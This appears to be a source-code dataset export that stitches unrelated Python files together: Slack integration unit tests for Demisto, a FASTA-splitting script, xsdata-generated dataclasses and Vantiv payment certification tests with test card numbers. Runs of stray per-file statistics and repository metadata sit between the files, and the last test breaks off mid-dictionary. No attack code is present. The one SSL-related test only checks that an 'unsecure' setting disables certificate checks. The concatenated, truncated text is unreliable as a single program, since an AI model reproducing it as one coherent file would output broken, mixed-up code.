mocker.patch.object(demisto, 'results') # Arrange Slack.kick_from_channel() send_args = Slack.kick_users_from_conversation.call_args[0] success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert Slack.kick_users_from_conversation.call_count == 1 assert success_results[0] == 'Successfully kicked users from the channel.' assert send_args[0] == 'GKQ86DVPH' assert send_args[1] == ['U012A3CDE', 'U07QCRPA4'] def test_kick_users_no_channel_doesnt_exist(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '777'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'}) mocker.patch.object(Slack, 'invite_users_to_conversation') mocker.patch.object(demisto, 'results') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) # Arrange with pytest.raises(InterruptedError): Slack.kick_from_channel() err_msg = return_error_mock.call_args[0][0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert Slack.invite_users_to_conversation.call_count == 0 assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.' def test_rename_channel(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'name': 'ey'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') # Arrange Slack.rename_channel() send_args = slack.WebClient.api_call.call_args success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 1 assert slack.WebClient.api_call.call_count == 1 assert success_results[0] == 'Channel renamed successfully.' assert send_args[0][0] == 'conversations.rename' assert send_args[1]['json']['channel'] == 'C012AB3CD' assert send_args[1]['json']['name'] == 'ey' def test_rename_no_args_investigation(mocker): import Slack # Set new_mirror = { 'channel_id': 'GKQ86DVPH', 'channel_name': 'ey', 'channel_topic': 'incident-681', 'investigation_id': '681', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': True } mocker.patch.object(demisto, 'args', return_value={'name': 'ey'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') # Arrange Slack.rename_channel() send_args = slack.WebClient.api_call.call_args success_results = demisto.results.call_args[0] new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) our_mirror_filter = list(filter(lambda m: '681' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert slack.WebClient.api_call.call_count == 1 assert success_results[0] == 'Channel renamed successfully.' assert send_args[0][0] == 'conversations.rename' assert send_args[1]['json']['channel'] == 'GKQ86DVPH' assert send_args[1]['json']['name'] == 'ey' assert new_mirror == our_mirror def test_rename_no_args_no_investigation(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'name': 'ey'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '9999'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) # Arrange with pytest.raises(InterruptedError): Slack.rename_channel() err_msg = return_error_mock.call_args[0][0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.' def test_get_user(mocker): from Slack import get_user # Set mocker.patch.object(demisto, 'args', return_value={'user': 'spengler'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') # Arrange get_user() user_results = demisto.results.call_args[0] assert user_results[0]['EntryContext'] == {'Slack.User(val.ID === obj.ID)': { 'ID': 'U012A3CDE', 'Username': 'spengler', 'Name': 'Egon Spengler', 'DisplayName': 'spengler', 'Email': 'spengler@ghostbusters.example.com', }} def test_get_user_by_name_paging_rate_limit(mocker): from Slack import get_user_by_name, init_globals from slack.errors import SlackApiError from slack.web.slack_response import SlackResponse import time # Set init_globals() err_response: SlackResponse = SlackResponse(api_url='', client=None, http_verb='GET', req_args={}, data={'ok': False}, status_code=429, headers={'Retry-After': 30}) first_call = {'members': js.loads(USERS), 'response_metadata': {'next_cursor': 'dGVhbTpDQ0M3UENUTks='}} second_call = SlackApiError('Rate limit reached!', err_response) third_call = {'members': [{'id': 'U248918AB', 'name': 'alexios'}], 'response_metadata': {'next_cursor': ''}} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=[first_call, second_call, third_call]) mocker.patch.object(time, 'sleep') # Arrange user = get_user_by_name('alexios') args = slack.WebClient.api_call.call_args_list first_args = args[0][1] second_args = args[2][1] # Assert assert len(first_args['params']) == 1 assert first_args['params']['limit'] == 200 assert len(second_args['params']) == 2 assert second_args['params']['cursor'] == 'dGVhbTpDQ0M3UENUTks=' assert user['id'] == 'U248918AB' assert slack.WebClient.api_call.call_count == 3 def test_get_user_by_name_paging_rate_limit_error(mocker): from Slack import get_user_by_name, init_globals from slack.errors import SlackApiError from slack.web.slack_response import SlackResponse import time # Set init_globals() err_response: SlackResponse = SlackResponse(api_url='', client=None, http_verb='GET', req_args={}, data={'ok': False}, status_code=429, headers={'Retry-After': 40}) first_call = {'members': js.loads(USERS), 'response_metadata': {'next_cursor': 'dGVhbTpDQ0M3UENUTks='}} second_call = SlackApiError('Rate limit reached!', err_response) third_call = {'members': [{'id': 'U248918AB', 'name': 'alexios'}], 'response_metadata': {'next_cursor': ''}} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=[first_call, second_call, second_call, third_call]) mocker.patch.object(time, 'sleep') # Arrange with pytest.raises(SlackApiError): get_user_by_name('alexios') args = slack.WebClient.api_call.call_args_list first_args = args[0][1] # Assert assert len(first_args['params']) == 1 assert first_args['params']['limit'] == 200 assert slack.WebClient.api_call.call_count == 3 def test_get_user_by_name_paging_normal_error(mocker): from Slack import get_user_by_name, init_globals from slack.errors import SlackApiError from slack.web.slack_response import SlackResponse # Set init_globals() err_response: SlackResponse = SlackResponse(api_url='', client=None, http_verb='GET', req_args={}, data={'ok': False}, status_code=500, headers={}) first_call = {'members': js.loads(USERS), 'response_metadata': {'next_cursor': 'dGVhbTpDQ0M3UENUTks='}} second_call = SlackApiError('Whoops!', err_response) third_call = {'members': [{'id': 'U248918AB', 'name': 'alexios'}], 'response_metadata': {'next_cursor': ''}} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=[first_call, second_call, third_call]) # Arrange with pytest.raises(SlackApiError): get_user_by_name('alexios') args = slack.WebClient.api_call.call_args_list first_args = args[0][1] # Assert assert len(first_args['params']) == 1 assert first_args['params']['limit'] == 200 assert slack.WebClient.api_call.call_count == 2 def test_message_setting_name_and_icon(mocker): from Slack import send_slack_request_sync, init_globals mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'}) init_globals() # Set mocker.patch.object(slack.WebClient, 'api_call') # Arrange send_slack_request_sync(slack.WebClient, 'chat.postMessage', body={'channel': 'c', 'text': 't'}) send_args = slack.WebClient.api_call.call_args[1] # Assert assert 'username' in send_args['json'] assert 'icon_url' in send_args['json'] def test_message_not_setting_name_and_icon(mocker): from Slack import send_slack_request_sync, init_globals mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'}) init_globals() # Set mocker.patch.object(slack.WebClient, 'api_call') # Arrange send_slack_request_sync(slack.WebClient, 'conversations.setTopic', body={'channel': 'c', 'topic': 't'}) send_args = slack.WebClient.api_call.call_args[1] # Assert assert 'username' not in send_args['json'] assert 'icon_url' not in send_args['json'] @pytest.mark.asyncio async def test_message_setting_name_and_icon_async(mocker): from Slack import send_slack_request_async, init_globals # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): return mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'}) init_globals() mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Arrange await send_slack_request_async(slack.WebClient, 'chat.postMessage', body={'channel': 'c', 'text': 't'}) send_args = slack.WebClient.api_call.call_args[1] # Assert assert 'username' in send_args['json'] assert 'icon_url' in send_args['json'] @pytest.mark.asyncio async def test_message_not_setting_name_and_icon_async(mocker): from Slack import send_slack_request_async, init_globals # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): return mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'}) init_globals() mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Arrange await send_slack_request_async(slack.WebClient, 'conversations.setTopic', body={'channel': 'c', 'topic': 't'}) send_args = slack.WebClient.api_call.call_args[1] # Assert assert 'username' not in send_args['json'] assert 'icon_url' not in send_args['json'] def test_set_proxy_and_ssl(mocker): import Slack import ssl # Set mocker.patch.object(demisto, 'params', return_value={'unsecure': 'true', 'proxy': 'true'}) mocker.patch.object(slack, 'WebClient') mocker.patch.object(Slack, 'handle_proxy', return_value={'https': 'https_proxy', 'http': 'http_proxy'}) ssl_context = ssl.create_default_context() ssl_context.check_hostname = False ssl_context.verify_mode = ssl.CERT_NONE # Arrange Slack.init_globals() init_args = slack.WebClient.call_args[1] assert init_args['ssl'].check_hostname is False assert init_args['ssl'].verify_mode == ssl.CERT_NONE assert init_args['proxy'] == 'http_proxy' def test_set_proxy_by_url(mocker): import Slack import ssl # Set mocker.patch.object(demisto, 'params', return_value={'unsecure': 'true', 'proxy': 'true', 'proxy_url': 'my_proxy'}) mocker.patch.object(slack, 'WebClient') mocker.patch.object(Slack, 'handle_proxy', return_value={'https': 'https_proxy', 'http': 'http_proxy'}) ssl_context = ssl.create_default_context() ssl_context.check_hostname = False ssl_context.verify_mode = ssl.CERT_NONE # Arrange Slack.init_globals() init_args = slack.WebClient.call_args[1] assert init_args['ssl'].check_hostname is False assert init_args['ssl'].verify_mode == ssl.CERT_NONE assert init_args['proxy'] == 'my_proxy' def test_unset_proxy_and_ssl(mocker): from Slack import init_globals # Set mocker.patch.object(slack, 'WebClient') # Arrange init_globals() init_args = slack.WebClient.call_args[1] assert init_args['ssl'] is None assert init_args['proxy'] is None

36.321678

120

0.655564

18,227

150,626

5.206287

0.034784

0.051815

0.078107

0.075368

0.916097

0.895274

0.872986

0.858939

0.845081

0.831561

0

0.036339

0.20764

150,626

4,146

121

36.330439

0.75876

0.015668

0

0.77549

0

0.004051

0.252909

0.061284

0.000675

0

0.175219

1

0.042201

false

0

0.038488

0.004051

0.119514

0

null

0

1

0

1

0

null

0

7

e07605b4cc31640fec7dfa9083dee1a0bc444000

553

py

Python

data/gen/nguyen_nc_2018/20190613-fastas/test_one.py

decareano/mitolin

1f333a800796dde8816fd55079e1e2d7fb452394

[ "BSD-3-Clause" ]

null

data/gen/nguyen_nc_2018/20190613-fastas/test_one.py

decareano/mitolin

1f333a800796dde8816fd55079e1e2d7fb452394

[ "BSD-3-Clause" ]

null

data/gen/nguyen_nc_2018/20190613-fastas/test_one.py

decareano/mitolin

1f333a800796dde8816fd55079e1e2d7fb452394

[ "BSD-3-Clause" ]

null

import errno mylines = [] with open('chrMchr1-1.fasta.eg', 'r') as myfile: for a_line in myfile: if a_line == '>2 chr1:1-X\n': break mylines.append(a_line.rstrip('\n')) with open('chrMchr1_1_ONLY.fasta.eg', 'w') as writer: writer.writelines("%s\n" % i for i in mylines) mylines = [] with open('chrMchr1-2.fasta.eg', 'r') as myfile: for a_line in myfile: if a_line == '>2 chr1:1-X\n': break mylines.append(a_line.rstrip('\n')) with open('chrMchr1_2_ONLY.fasta.eg', 'w') as writer: writer.writelines("%s\n" % i for i in mylines)

23.041667

53

0.652803

100

553

3.51

0.3

0.08547

0.182336

0.131054

0.826211

0

0.030238

0.162749

553

24

54

23.041667

0.727862

0

0.705882

0

0.231047

0.086643

0

1

0

false

0

0.058824

0

0.058824

0

null

0

1

0

1

0

1

0

null

0

8

e077cd3f33ed8d081a201a38df3d48c5a1a8e018

1,836

py

Python

output/models/ibm_data/valid/s3_4_6/s3_4_6v08_xsd/s3_4_6v08.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

1

2021-08-14T17:59:21.000Z

output/models/ibm_data/valid/s3_4_6/s3_4_6v08_xsd/s3_4_6v08.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

4

2020-02-12T21:30:44.000Z

2020-04-15T20:06:46.000Z

output/models/ibm_data/valid/s3_4_6/s3_4_6v08_xsd/s3_4_6v08.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

null

from dataclasses import dataclass, field from typing import Optional __NAMESPACE__ = "http://xstest-tns/schema11_S3_4_6" @dataclass class CmplxBase: class Meta: name = "cmplxBase" element1: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) element2: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", } ) element3: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) element4: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) @dataclass class Derived: class Meta: name = "derived" element4: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) element3: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) element2: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) element1: Optional[int] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, } ) @dataclass class Root(Derived): class Meta: name = "root" namespace = "http://xstest-tns/schema11_S3_4_6"

20.629213

55

0.464597

141

1,836

5.978723

0.234043

0.104389

0.151839

0.218268

0.811388

0.730724

0

0.016334

0.399782

1,836

88

56

20.863636

0.748639

0

0.670886

0

0.164488

0

1

0

false

0

0.025316

0

0.202532

0

null

0

1

0

null

0

7

0ec219392a69df7efcbb6e99a16f561956369858

47,977

py

Python

tests/certification/required/test_cert_auth_dict.py

isunnapud/vantiv-sdk-for-python

85ea6ba160c2436a305b9326cbb7d6c8f127c57c

[ "MIT" ]

4

2017-11-16T16:02:06.000Z

2021-05-04T14:40:08.000Z

tests/certification/required/test_cert_auth_dict.py

isunnapud/vantiv-sdk-for-python

85ea6ba160c2436a305b9326cbb7d6c8f127c57c

[ "MIT" ]

7

2017-08-23T15:04:38.000Z

2020-04-07T20:20:15.000Z

tests/certification/required/test_cert_auth_dict.py

isunnapud/vantiv-sdk-for-python

85ea6ba160c2436a305b9326cbb7d6c8f127c57c

[ "MIT" ]

13

2017-10-17T22:07:57.000Z

2022-03-29T17:33:42.000Z

# -*- coding: utf-8 -*- # Copyright (c) 2017 Vantiv eCommerce # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the 'Software'), to deal in the Software without # restriction, including without limitation the rights to use, # copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. from __future__ import print_function, absolute_import import os import sys import unittest import pprint package_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))) sys.path.insert(0, package_root) package_root = os.path.dirname(os.path.abspath(os.path.dirname(__file__))) sys.path.insert(0, package_root) import certification_test_conf conf = certification_test_conf.conf from vantivsdk import * class TestCertAuthsDict(unittest.TestCase): def test_table_2_1_1_auth(self): txn_dict = { 'authorization': { 'orderId': '1', 'amount': 10100, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'John & Mary Smith', 'addressLine1': '1 Main St.', 'city': 'Burlington', 'state': 'MA', 'zip': '01803-3747', 'country': 'USA', }, 'card': { 'number': '4457010000000009', 'expDate': '0121', 'cardValidationNum': '349', 'type': 'VI', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('11111', response['authorizationResponse']['authCode']) self.assertEquals('01', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['authorizationResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_1_avs(self): txn_dict = { 'authorization': { 'orderId': '1', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'John & Mary Smith', 'addressLine1': '1 Main St.', 'city': 'Burlington', 'state': 'MA', 'zip': '01803-3747', 'country': 'USA', }, 'card': { 'number': '4457010000000009', 'expDate': '0121', 'cardValidationNum': '349', 'type': 'VI', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('11111', response['authorizationResponse']['authCode']) self.assertEquals('01', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_1_sale(self): txn_dict = { 'sale': { 'orderId': '1', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'John & Mary Smith', 'addressLine1': '1 Main St.', 'city': 'Burlington', 'state': 'MA', 'zip': '01803-3747', 'country': 'USA', }, 'card': { 'number': '4457010000000009', 'expDate': '0121', 'cardValidationNum': '349', 'type': 'VI', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['saleResponse']['response']) self.assertEquals('Approved', response['saleResponse']['message']) self.assertEquals('11111', response['saleResponse']['authCode']) self.assertEquals('01', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': response['saleResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_2_auth(self): # orderId 2 txn_dict = { 'authorization': { 'orderId': '2', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Mike J. Hammer', 'addressLine1': '2 Main St.', 'addressLine2': 'Apt. 222', 'city': 'Riverside', 'state': 'RI', 'zip': '02915', 'country': 'USA', }, 'card': { 'number': '5112010000000003', 'expDate': '0221', 'cardValidationNum': '261', 'type': 'MC', }, 'cardholderAuthentication':{ 'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('22222', response['authorizationResponse']['authCode']) self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) self.assertNotIn('authenticationResult', response['authorizationResponse']['fraudResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['authorizationResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_2_avs(self): # orderId 2 txn_dict = { 'authorization': { 'orderId': '2', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Mike J. Hammer', 'addressLine1': '2 Main St.', 'addressLine2': 'Apt. 222', 'city': 'Riverside', 'state': 'RI', 'zip': '02915', 'country': 'USA', }, 'card': { 'number': '5112010000000003', 'expDate': '0221', 'cardValidationNum': '261', 'type': 'MC', }, 'cardholderAuthentication':{ 'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('22222', response['authorizationResponse']['authCode']) self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) self.assertNotIn('authenticationResult', response['authorizationResponse']['fraudResult']) def test_table_2_1_2_sale(self): txn_dict = { 'sale': { 'orderId': '2', 'amount': 10100, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Mike J. Hammer', 'addressLine1': '2 Main St.', 'addressLine2': 'Apt. 222', 'city': 'Riverside', 'state': 'RI', 'zip': '02915', 'country': 'USA', }, 'card': { 'number': '5112010000000003', 'expDate': '0221', 'cardValidationNum': '261', 'type': 'MC', }, 'cardholderAuthentication':{ 'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['saleResponse']['response']) self.assertEquals('Approved', response['saleResponse']['message']) self.assertEquals('22222', response['saleResponse']['authCode']) self.assertEquals('10', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult']) self.assertNotIn('authenticationResult', response['saleResponse']['fraudResult']) # orderId *A # capture = fields.capture() # capture.cnpTxnId = response['authorizationResponse']['cnpTxnId'] # captureresponse = online.request(capture, conf) # self.assertEquals('000', captureresponse['authorizationResponse']['response']) # self.assertEquals('Approved', captureresponse['authorizationResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': response['saleResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_3_auth(self): txn_dict = { 'authorization': { 'orderId': '3', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Eileen Jones', 'addressLine1': '3 Main St.', 'city': 'Bloomfield', 'state': 'CT', 'zip': '06002', 'country': 'USA', }, 'card': { 'number': '6011010000000003', 'expDate': '0321', 'cardValidationNum': '758', 'type': 'DI', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('33333', response['authorizationResponse']['authCode']) self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['authorizationResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_3_avs(self): txn_dict = { 'authorization': { 'orderId': '3', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Eileen Jones', 'addressLine1': '3 Main St.', 'city': 'Bloomfield', 'state': 'CT', 'zip': '06002', 'country': 'USA', }, 'card': { 'number': '6011010000000003', 'expDate': '0321', 'cardValidationNum': '758', 'type': 'DI', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('33333', response['authorizationResponse']['authCode']) self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_3_sale(self): txn_dict = { 'sale': { 'orderId': '3', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Eileen Jones', 'addressLine1': '3 Main St.', 'city': 'Bloomfield', 'state': 'CT', 'zip': '06002', 'country': 'USA', }, 'card': { 'number': '6011010000000003', 'expDate': '0321', 'cardValidationNum': '758', 'type': 'DI', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['saleResponse']['response']) self.assertEquals('Approved', response['saleResponse']['message']) self.assertEquals('33333', response['saleResponse']['authCode']) self.assertEquals('10', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['saleResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_4_auth(self): txn_dict = { 'authorization': { 'orderId': '4', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Bob Black', 'addressLine1': '4 Main St.', 'city': 'Laurel', 'state': 'MD', 'zip': '20708', 'country': 'USA', }, 'card': { 'number': '375001000000005', 'expDate': 